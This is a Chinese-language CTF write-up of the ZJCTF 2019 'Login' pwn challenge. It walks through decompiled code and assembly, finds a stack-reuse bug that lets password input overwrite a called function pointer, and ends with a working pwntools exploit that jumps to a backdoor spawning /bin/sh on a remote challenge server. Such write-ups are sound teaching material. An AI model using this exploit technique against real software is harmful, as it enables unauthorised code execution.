ZJCTF 2019 Login
# ZJCTF 2019 Login
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/ZJCTF_2019_Login/login'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 (*v3)(); // rax
User *v4; // rbx
User *v5; // rax
__int64 *v7; // [rsp+10h] [rbp-130h]
char v8; // [rsp+20h] [rbp-120h]
char v9[8]; // [rsp+D0h] [rbp-70h]
char v10; // [rsp+E0h] [rbp-60h]
unsigned __int64 v11; // [rsp+128h] [rbp-18h]
v11 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
strcpy(v9, "2jctf_pa5sw0rd");
memset(&v10, 0, 0x40uLL);
Admin::Admin(&v8, "admin", v9);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ", "admin");
User::read_name(&login);
printf("Please enter password: ");
v3 = main::{lambda(void)#1}::operator void (*)(void) const();
v7 = password_checker(v3);
User::read_password(&login);
v4 = User::get_password(&v8);
v5 = User::get_password(&login);
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(&v7, v5, v4);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
User::User函数如下
char *__fastcall User::User(User *this, const char *a2, const char *a3)
{
char *v3; // ST08_8
v3 = a3;
*this = off_401170;
strncpy(this + 8, a2, 0x50uLL);
return strncpy(this + 88, v3, 0x50uLL);
}
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
User::read_name函数如下:
unsigned __int64 __fastcall User::read_name(User *this)
{
_QWORD *v1; // rax
_QWORD s[10]; // [rsp+10h] [rbp-60h]
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 79, stdin);
strip_newline(s, 80LL);
v1 = (this + 8);
*v1 = s[0];
v1[1] = s[1];
v1[2] = s[2];
v1[3] = s[3];
v1[4] = s[4];
v1[5] = s[5];
v1[6] = s[6];
v1[7] = s[7];
v1[8] = s[8];
v1[9] = s[9];
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
User::read_password函数如下:
unsigned __int64 __fastcall User::read_password(User *this)
{
_QWORD *v1; // rax
_QWORD s[10]; // [rsp+10h] [rbp-60h]
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 79, stdin);
strip_newline(s, 80LL);
v1 = (this + 88);
*v1 = s[0];
v1[1] = s[1];
v1[2] = s[2];
v1[3] = s[3];
v1[4] = s[4];
v1[5] = s[5];
v1[6] = s[6];
v1[7] = s[7];
v1[8] = s[8];
v1[9] = s[9];
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
User::get_password函数如下:
User *__fastcall User::get_password(User *this)
{
return (this + 88);
}
1
2
3
4
2
3
4
password_checker函数如下
__int64 *__fastcall password_checker(void (*a1)(void))
{
__int64 v2; // [rsp+0h] [rbp-18h]
return &v2;
}
1
2
3
4
5
6
2
3
4
5
6
password_checker重载函数如下:
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3)
{
char s; // [rsp+20h] [rbp-60h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( !strcmp(a2, a3) )
{
snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s);
puts(&s);
(**a1)(&s);
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Admin::shell函数如下:
int __fastcall Admin::shell(Admin *this)
{
puts("Congratulations!");
return system("/bin/sh");
}
1
2
3
4
5
2
3
4
5
# 思路分析
目前信息:
username=admin
password=2jctf_pa5sw0rd
- 存在后门函数
- Partial RELRO
- Canary found
- NX enabled
- No PIE
解题
- 尝试直接输入
admin
与2jctf_pa5sw0rd
出现段错误
./login _____ _ ____ _____ _____ _ _ |__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ / /_ | | | | | | |_ | | / _ \ / _` | | '_ \ / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | | /____\___/ \____| |_| |_| |_____\___/ \__, |_|_| |_| |___/ Please enter username: admin Please enter password: 2jctf_pa5sw0rd Password accepted: Password accepted: [1] 21860 segmentation fault ./login
1
2
3
4
5
6
7
8
9
10
11
12- 定位问题出现在重载函数
password_checker
位置,具体如下:
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3) { char s; // [rsp+20h] [rbp-60h] unsigned __int64 v5; // [rsp+78h] [rbp-8h] v5 = __readfsqword(0x28u); if ( !strcmp(a2, a3) ) { snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s); puts(&s); (**a1)(&s); //问题在这里,a1是二级指针,并且被当成函数执行了 } else { puts("Nope!"); } return __readfsqword(0x28u) ^ v5; }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18- 这部分的汇编看起来更清晰具体如下:
.text:0000000000400A4A mov rax, [rbp+var_68] .text:0000000000400A4E mov rax, [rax] .text:0000000000400A51 mov rax, [rax] .text:0000000000400A54 call rax .text:0000000000400A56 jmp short loc_400A62
1
2
3
4
5- 这里可以
[rbp+var_68]
控制了rax
并被最终调用,接着往上看看是否能控制rbp+var_68
.text:00000000004009E2 ; password_checker(void (*)(void))::{lambda(char const*, char const*)#1}::operator() const(char const*, char const*) .text:00000000004009E2 _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ proc near .text:00000000004009E2 push rbp .text:00000000004009E3 mov rbp, rsp .text:00000000004009E6 add rsp, 0FFFFFFFFFFFFFF80h .text:00000000004009EA mov [rbp+var_68], rdi # rdi控制了该参数 .text:00000000004009EE mov [rbp+s1], rsi .text:00000000004009F2 mov [rbp+s2], rdx .text:00000000004009F6 mov rax, fs:28h .text:00000000004009FF mov [rbp+var_8], rax .text:0000000000400A03 xor eax, eax .text:0000000000400A05 mov rdx, [rbp+s2] .text:0000000000400A09 mov rax, [rbp+s1] .text:0000000000400A0D mov rsi, rdx ; s2 .text:0000000000400A10 mov rdi, rax ; s1 .text:0000000000400A13 call _strcmp .text:0000000000400A18 test eax, eax .text:0000000000400A1A jnz short loc_400A58 .text:0000000000400A1C lea rdx, [rbp+s] .text:0000000000400A20 lea rax, [rbp+s] .text:0000000000400A24 mov rcx, rdx .text:0000000000400A27 mov edx, offset format ; "Password accepted: %s\n" .text:0000000000400A2C mov esi, 50h ; maxlen .text:0000000000400A31 mov rdi, rax ; s .text:0000000000400A34 mov eax, 0 .text:0000000000400A39 call _snprintf .text:0000000000400A3E lea rax, [rbp+s] .text:0000000000400A42 mov rdi, rax ; s .text:0000000000400A45 call _puts .text:0000000000400A4A mov rax, [rbp+var_68] .text:0000000000400A4E mov rax, [rax] .text:0000000000400A51 mov rax, [rax] .text:0000000000400A54 call rax .text:0000000000400A56 jmp short loc_400A62
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34- 继续往上找
call _Z16password_checkerPFvvE ; password_checker(void (*)(void)) mov [rbp+var_130], rax # 这里 mov edi, offset login ; this call _ZN4User13read_passwordEv ; User::read_password(void) lea rax, [rbp+var_120] mov rdi, rax ; this call _ZN4User12get_passwordEv ; User::get_password(void) mov rbx, rax mov edi, offset login ; this call _ZN4User12get_passwordEv ; User::get_password(void) mov rcx, rax lea rax, [rbp+var_130] # 这里 mov rdx, rbx mov rsi, rcx mov rdi, rax # 这里 call _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ; password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(char const*,char const*)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16- 最终找到为
password_checker(void (*)(void))
函数内的[rbp+var_18]
控制了该参数,如下:
.text:0000000000400A79 _Z16password_checkerPFvvE proc near ; CODE XREF: main+BB↓p .text:0000000000400A79 .text:0000000000400A79 var_18 = qword ptr -18h .text:0000000000400A79 var_8 = qword ptr -8 .text:0000000000400A79 .text:0000000000400A79 ; __unwind { .text:0000000000400A79 push rbp .text:0000000000400A7A mov rbp, rsp .text:0000000000400A7D mov [rbp+var_18], rdi .text:0000000000400A81 mov [rbp+var_8], 0 .text:0000000000400A89 lea rax, [rbp+var_18] # 最终位置 .text:0000000000400A8D pop rbp .text:0000000000400A8E retn .text:0000000000400A8E ; } // starts at 400A79 .text:0000000000400A8E _Z16password_checkerPFvvE endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15因为
[rbp+var_18]
是栈上地址,并且这些函数都是在main()
函数同级顺序调用的,所以password_checker()
函数退栈后,read_password()
函数在同一位置开栈(被调用函数都在同一位置上开栈),因此我们可以在输入密码的时候覆盖[rbp+var_18]
位置为后门函数的地址,执行即可获得shell
。- 尝试直接输入
注意点
- 输入密码并且覆盖
[rbp+var_18]
时需要在密码2jctf_pa5sw0rd
后填充\0
绕过字符串匹配strcmp
函数
- 输入密码并且覆盖
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ZJCTF_2019_Login/login'
io = remote('node4.buuoj.cn', 27803)
# io = process(pwnfile)
backd_door = 0x400E88
io.recvuntil("Please enter username:")
io.sendline("admin")
io.recvuntil("Please enter password:")
io.sendline("2jctf_pa5sw0rd".ljust(0x48, '\0').encode()+p64(backd_door))
# 输入位置是0x60,需要覆盖的位置为0x18,距离为0x48
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
上次更新: 2022/08/15, 00:29:49